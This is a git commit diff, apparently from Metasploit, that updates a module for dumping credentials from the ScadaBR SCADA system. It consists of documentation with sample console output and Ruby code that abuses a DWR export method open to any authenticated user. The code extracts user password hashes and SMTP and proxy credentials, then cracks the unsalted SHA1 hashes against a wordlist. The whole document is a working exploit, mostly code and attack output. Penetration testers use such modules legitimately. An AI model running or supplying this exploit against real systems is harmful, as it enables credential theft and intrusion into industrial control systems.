Update ScadaBR Credentials Dumper module

This commit is contained in:
Brendan Coles 2021-02-22 20:32:55 +00:00
parent ecab3f6c2e
commit bc1ffec2c1
2 changed files with 270 additions and 197 deletions

View File

@ -1,63 +1,108 @@
## Description
This module retrieves credentials from ScadaBR, including service credentials and unsalted SHA1 password hashes for all users, by invoking the `EmportDwr.createExportData` DWR method of Mango M2M which is exposed to all authenticated users regardless of privilege level.
## Vulnerable Application
ScadaBR is a SCADA (Supervisory Control and Data Acquisition) system with applications in Process Control and Automation, being developed and distributed using the open source model.
This module retrieves credentials from ScadaBR, including
service credentials and unsalted SHA1 password hashes for
all users, by invoking the `EmportDwr.createExportData` DWR
method of Mango M2M which is exposed to all authenticated
users regardless of privilege level.
This module has been tested successfully with ScadaBR versions 1.0 CE and 0.9 on Windows and Ubuntu systems.
Installers:
* [Windows Installers](https://sourceforge.net/projects/scadabr/files/Software/Installer%20Win32/)
* [Linux Installers](https://sourceforge.net/projects/scadabr/files/Software/Linux/)
* [Tomcat WAR files](https://sourceforge.net/projects/scadabr/files/Software/WAR/)
ScadaBR is a SCADA (Supervisory Control and Data Acquisition)
system with applications in Process Control and Automation,
being developed and distributed using the open source model.
This module has been tested successfully with ScadaBR
versions 1.0 CE and 0.9 on Windows and Ubuntu systems.
## Verification Steps
1. Start `msfconsole`
2. Do: `use auxiliary/admin/http/scadabr_credential_dump`
3. Do: `set rhost [IP]`
4. Do: `set username [USERNAME]`
5. Do: `set password [PASSWORD]`
6. Do: `run`
7. You should get credentials
Download:
* [Windows Installers](https://sourceforge.net/projects/scadabr/files/Software/Installer%20Win32/)
* [Linux Installers](https://sourceforge.net/projects/scadabr/files/Software/Linux/)
* [Tomcat WAR files](https://sourceforge.net/projects/scadabr/files/Software/WAR/)
Metasploit:
1. Start `msfconsole`
1. Do: `use auxiliary/admin/http/scadabr_credential_dump`
1. Do: `set rhosts [IP]`
1. Do: `set username [USERNAME]`
1. Do: `set password [PASSWORD]`
1. Do: `run`
1. You should get credentials
## Options
### USERNAME
The username for the application (default: `admin`)
### PASSWORD
The password for the application (default: `admin`)
### PASS_FILE
Wordlist file to crack password hashes (default: `./data/unix_passwords.txt`)
## Scenarios
```
[+] 172.16.191.166:8080 Authenticated successfully as 'admin'
[+] 172.16.191.166:8080 Export successful (4436 bytes)
[+] Found 5 users
[*] Found weak credentials (admin:admin)
[*] Found weak credentials (user:password)
[*] Found weak credentials (zxcv:zxcv)
```
msf6 > use auxiliary/admin/http/scadabr_credential_dump
msf6 auxiliary(admin/http/scadabr_credential_dump) > set rhosts 172.16.191.194
rhosts => 172.16.191.194
msf6 auxiliary(admin/http/scadabr_credential_dump) > set username admin
username => admin
msf6 auxiliary(admin/http/scadabr_credential_dump) > set password admin
password => admin
msf6 auxiliary(admin/http/scadabr_credential_dump) > run
[*] Running module against 172.16.191.194
ScadaBR User Credentials
========================
[+] 172.16.191.194:8080 Authenticated successfully as 'admin'
[+] 172.16.191.194:8080 Export successful (4735 bytes)
[+] Config saved in: /root/.msf4/loot/20210220192214_default_172.16.191.194_scadabr.config_546879.txt
[+] Found 5 users
[*] Found weak credentials (admin:admin)
[*] Found weak credentials (operator:a)
[*] Found weak credentials (test:sunshine)
[*] Found weak credentials (user:A)
[*] Found weak credentials (zxcv:zxcv)
Username Password Hash (SHA1) Admin E-mail
-------- -------- ----------- ----- ------
admin admin d033e22ae348aeb5660fc2140aec35850c4da997 true admin@yourMangoDomain.com
operator ef0cade28a5696433326749bb57c39104ca33550 false operator@localhost
test 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 false test@localhost
user password 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 true user@localhost
zxcv zxcv 9878e362285eb314cfdbaa8ee8c300c285856810 false zxcv@localhost
ScadaBR User Credentials
========================
Username Password Hash (SHA1) Role E-mail
-------- -------- ----------- ---- ------
admin admin d033e22ae348aeb5660fc2140aec35850c4da997 Admin admin@yourMangoDomain.com
operator a 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 User operator@localhost
test sunshine 8d6e34f987851aa599257d3831a1af040886842f User test@localhost
user A 6dcd4ce23d88e2ee9568ba546c007c63d9131c1b Admin user@localhost
zxcv zxcv 9878e362285eb314cfdbaa8ee8c300c285856810 User zxcv@localhost
ScadaBR Service Credentials
===========================
[+] Found SMTP credentials: smtptestuser:smtptestpass@127.0.0.1:25
[+] Found HTTP proxy credentials: proxytestuser:proxytestpass@127.0.0.1:8080
Service Host Port Username Password
------- ---- ---- -------- --------
HTTP proxy 127.0.0.1 8080 proxytestuser proxytestpass
SMTP 127.0.0.1 25 smtptestuser smtptestpass
ScadaBR Service Credentials
===========================
[+] Config saved in: /root/.msf4/loot/20170527210941_default_172.16.191.166_scadabr.config_861842.txt
[*] Auxiliary module execution completed
```
Service Host Port Username Password
------- ---- ---- -------- --------
HTTP proxy 127.0.0.1 8080 proxytestuser proxytestpass
SMTP 127.0.0.1 25 smtptestuser smtptestpass
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/scadabr_credential_dump) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
172.16.191.194 172.16.191.194 8080/tcp (http) admin admin Password
172.16.191.194 172.16.191.194 8080/tcp (http) operator a Password
172.16.191.194 172.16.191.194 8080/tcp (http) test sunshine Password
172.16.191.194 172.16.191.194 8080/tcp (http) user A Password
172.16.191.194 172.16.191.194 8080/tcp (http) zxcv zxcv Password
msf6 auxiliary(admin/http/scadabr_credential_dump) >
```

View File

@ -8,214 +8,242 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'ScadaBR Credentials Dumper',
'Description' => %q{
This module retrieves credentials from ScadaBR, including
service credentials and unsalted SHA1 password hashes for
all users, by invoking the 'EmportDwr.createExportData' DWR
method of Mango M2M which is exposed to all authenticated
users regardless of privilege level.
super(
update_info(
info,
'Name' => 'ScadaBR Credentials Dumper',
'Description' => %q{
This module retrieves credentials from ScadaBR, including
service credentials and unsalted SHA1 password hashes for
all users, by invoking the `EmportDwr.createExportData` DWR
method of Mango M2M which is exposed to all authenticated
users regardless of privilege level.
This module has been tested successfully with ScadaBR
versions 1.0 CE and 0.9 on Windows and Ubuntu systems.
},
'Author' => 'bcoles',
'License' => MSF_LICENSE,
'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'],
'DisclosureDate' => '2017-05-28'))
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]),
OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]),
OptPath.new('PASS_FILE', [ false, 'Wordlist file to crack password hashes',
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])
This module has been tested successfully with ScadaBR
versions 1.0 CE and 0.9 on Windows and Ubuntu systems.
},
'Author' => 'bcoles',
'License' => MSF_LICENSE,
'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'],
'DisclosureDate' => '2017-05-28'
)
)
register_options([
Opt::RPORT(8080),
OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]),
OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]),
OptPath.new('PASS_FILE', [
false, 'Wordlist file to crack password hashes',
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt')
])
])
end
def login(user, pass)
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'login.htm'),
'method' => 'POST',
'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}",
'vars_post' => { 'username' => Rex::Text.uri_encode(user, 'hex-normal'),
'password' => Rex::Text.uri_encode(pass, 'hex-normal') }
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login.htm'),
'method' => 'POST',
'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}",
'vars_post' => {
'username' => Rex::Text.uri_encode(user, 'hex-normal'),
'password' => Rex::Text.uri_encode(pass, 'hex-normal')
}
})
unless res
fail_with Failure::Unreachable, "#{peer} Connection failed"
fail_with(Failure::Unreachable, "#{peer} Connection failed")
end
if res.code == 302 && res.headers['location'] !~ /login\.htm/ && res.get_cookies =~ /JSESSIONID=([^;]+);/
if res.code == 302 && !res.headers['location'].include?('/login.htm') && res.get_cookies =~ /JSESSIONID=([^;]+);/
@cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first
print_good "#{peer} Authenticated successfully as '#{user}'"
print_good("#{peer} Authenticated successfully as '#{user}'")
else
fail_with Failure::NoAccess, "#{peer} Authentication failed"
fail_with(Failure::NoAccess, "#{peer} Authentication failed")
end
end
def export_data
params = 'callCount=1',
"page=#{target_uri.path}/emport.shtm",
"httpSessionId=#{@cookie}",
"scriptSessionId=#{Rex::Text.rand_text_hex(32)}",
'c0-scriptName=EmportDwr',
'c0-methodName=createExportData',
'c0-id=0',
'c0-param0=string:3',
'c0-param1=boolean:true',
'c0-param2=boolean:true',
'c0-param3=boolean:true',
'c0-param4=boolean:true',
'c0-param5=boolean:true',
'c0-param6=boolean:true',
'c0-param7=boolean:true',
'c0-param8=boolean:true',
'c0-param9=boolean:true',
'c0-param10=boolean:true',
'c0-param11=boolean:true',
'c0-param12=boolean:true',
'c0-param13=boolean:true',
'c0-param14=boolean:true',
'c0-param15=boolean:true',
'c0-param16=string:100',
'c0-param17=boolean:true',
'batchId=1'
params = [
'callCount=1',
"page=#{target_uri.path}/emport.shtm",
"httpSessionId=#{@cookie}",
"scriptSessionId=#{Rex::Text.rand_text_hex(32)}",
'c0-scriptName=EmportDwr',
'c0-methodName=createExportData',
'c0-id=0',
'c0-param0=string:3',
'c0-param1=boolean:true',
'c0-param2=boolean:true',
'c0-param3=boolean:true',
'c0-param4=boolean:true',
'c0-param5=boolean:true',
'c0-param6=boolean:true',
'c0-param7=boolean:true',
'c0-param8=boolean:true',
'c0-param9=boolean:true',
'c0-param10=boolean:true',
'c0-param11=boolean:true',
'c0-param12=boolean:true',
'c0-param13=boolean:true',
'c0-param14=boolean:true',
'c0-param15=boolean:true',
'c0-param16=string:100',
'c0-param17=boolean:true',
'batchId=1'
]
uri = normalize_uri target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr'
res = send_request_cgi 'uri' => uri,
'method' => 'POST',
'cookie' => "JSESSIONID=#{@cookie}",
'ctype' => 'text/plain',
'data' => params.join("\n")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr'),
'method' => 'POST',
'cookie' => "JSESSIONID=#{@cookie}",
'ctype' => 'text/plain',
'data' => params.join("\n")
})
unless res
fail_with Failure::Unreachable, "#{peer} Connection failed"
end
unless res.body =~ /dwr.engine._remoteHandleCallback/
fail_with Failure::UnexpectedReply, "#{peer} Export failed"
fail_with(Failure::Unreachable, "#{peer} Connection failed")
end
config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first
print_good "#{peer} Export successful (#{config_data.length} bytes)"
begin
return JSON.parse(config_data.gsub(/\\r\\n/, '').gsub(/\\"/, '"'))
rescue
fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.")
unless config_data
fail_with(Failure::UnexpectedReply, "#{peer} Export failed")
end
print_good("#{peer} Export successful (#{config_data.length} bytes)")
config_data
end
def load_wordlist(wordlist)
return unless File.exist? wordlist
return unless File.exist?(wordlist)
File.open(wordlist, 'rb').each_line do |line|
@wordlist << line.chomp
end
end
def crack(user, hash)
return user if hash.eql? Rex::Text.sha1 user
pass = nil
return user if hash == Rex::Text.sha1(user)
@wordlist.each do |word|
if hash.eql? Rex::Text.sha1 word
pass = word
break
end
return word if hash == Rex::Text.sha1(word)
end
pass
nil
end
def run
login datastore['USERNAME'], datastore['PASSWORD']
login(datastore['USERNAME'], datastore['PASSWORD'])
json = export_data
config = export_data
service_data = { address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id }
path = store_loot('scadabr.config', 'text/plain', rhost, config, 'ScadaBR configuration settings')
print_good("Config saved in: #{path}")
columns = 'Username', 'Password', 'Hash (SHA1)', 'Admin', 'E-mail'
user_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR User Credentials',
'Indent' => 1,
'Columns' => columns
if json['users'].empty?
print_error 'Found no user data'
else
print_good "Found #{json['users'].length} users"
@wordlist = *'0'..'9', *'A'..'Z', *'a'..'z'
@wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr'])
load_wordlist datastore['PASS_FILE'] unless datastore['PASS_FILE'].nil?
begin
json = JSON.parse(config.gsub(/\\r/, '').gsub(/\\n/, '').gsub(/\\"/, '"').gsub(/\\'/, "'").gsub(/\\\\/, '\\').gsub(/\\\r?\n/, ""))
rescue StandardError
fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.")
end
json['users'].each do |user|
next if user['username'].eql?('')
service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
user_cred_table = Rex::Text::Table.new(
'Header' => 'ScadaBR User Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Password', 'Hash (SHA1)', 'Role', 'E-mail']
)
users = json['users']
if users.empty?
print_error('Found no user data')
else
print_good("Found #{users.length} users")
@wordlist = *'0'..'9', *'A'..'Z', *'a'..'z'
@wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr', datastore['PASSWORD']])
load_wordlist(datastore['PASS_FILE']) unless datastore['PASS_FILE'].nil?
end
users.each do |user|
username = user['username']
next if username.blank?
admin = user['admin']
mail = user['email']
hash = Rex::Text.decode_base64(user['password']).unpack('H*').flatten.first
pass = crack username, hash
user_cred_table << [username, pass, hash, admin, mail]
pass = crack(username, hash)
user_cred_table << [username, pass, hash, (admin ? 'Admin' : 'User'), mail]
creds = {
origin_type: :service,
module_fullname: fullname,
username: username
}.merge(service_data)
if pass
print_status "Found weak credentials (#{username}:#{pass})"
creds = { origin_type: :service,
module_fullname: fullname,
private_type: :password,
private_data: pass,
username: user }
print_status("Found weak credentials (#{username}:#{pass})")
creds.merge!({
private_type: :password,
private_data: pass
})
else
creds = { origin_type: :service,
module_fullname: fullname,
private_type: :nonreplayable_hash,
private_data: hash,
username: user }
creds.merge!({
private_type: :nonreplayable_hash,
private_data: "{SHA}#{hash}"
})
end
creds.merge! service_data
credential_core = create_credential creds
login_data = { core: credential_core,
access_level: (admin ? 'Admin' : 'User'),
status: Metasploit::Model::Login::Status::UNTRIED }
login_data.merge! service_data
create_credential_login login_data
login_data = {
core: create_credential(creds),
access_level: (admin ? 'Admin' : 'User'),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
columns = 'Service', 'Host', 'Port', 'Username', 'Password'
service_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR Service Credentials',
'Indent' => 1,
'Columns' => columns
system_settings = json['systemSettings'].first
unless system_settings['emailSmtpHost'].eql?('') || system_settings['emailSmtpUsername'].eql?('')
smtp_host = system_settings['emailSmtpHost']
smtp_port = system_settings['emailSmtpPort']
smtp_user = system_settings['emailSmtpUsername']
smtp_pass = system_settings['emailSmtpPassword']
vprint_good "Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}"
service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass]
end
unless system_settings['httpClientProxyServer'].eql?('') || system_settings['httpClientProxyUsername'].eql?('')
proxy_host = system_settings['httpClientProxyServer']
proxy_port = system_settings['httpClientProxyPort']
proxy_user = system_settings['httpClientProxyUsername']
proxy_pass = system_settings['httpClientProxyPassword']
vprint_good "Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}"
service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass]
end
service_cred_table = Rex::Text::Table.new(
'Header' => 'ScadaBR Service Credentials',
'Indent' => 1,
'Columns' => ['Service', 'Host', 'Port', 'Username', 'Password']
)
print_line
print_line user_cred_table.to_s
print_line
print_line service_cred_table.to_s
print_line(user_cred_table.to_s)
path = store_loot 'scadabr.config', 'text/plain', rhost, json, 'ScadaBR configuration settings'
print_good "Config saved in: #{path}"
unless json['systemSettings'].nil?
system_settings = json['systemSettings'].first
unless system_settings['emailSmtpHost'] == '' || system_settings['emailSmtpUsername'] == ''
smtp_host = system_settings['emailSmtpHost']
smtp_port = system_settings['emailSmtpPort']
smtp_user = system_settings['emailSmtpUsername']
smtp_pass = system_settings['emailSmtpPassword']
print_good("Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}")
service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass]
end
unless system_settings['httpClientProxyServer'] == '' || system_settings['httpClientProxyUsername'] == ''
proxy_host = system_settings['httpClientProxyServer']
proxy_port = system_settings['httpClientProxyPort']
proxy_user = system_settings['httpClientProxyUsername']
proxy_pass = system_settings['httpClientProxyPassword']
print_good("Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}")
service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass]
end
print_line
print_line(service_cred_table.to_s)
end
end
end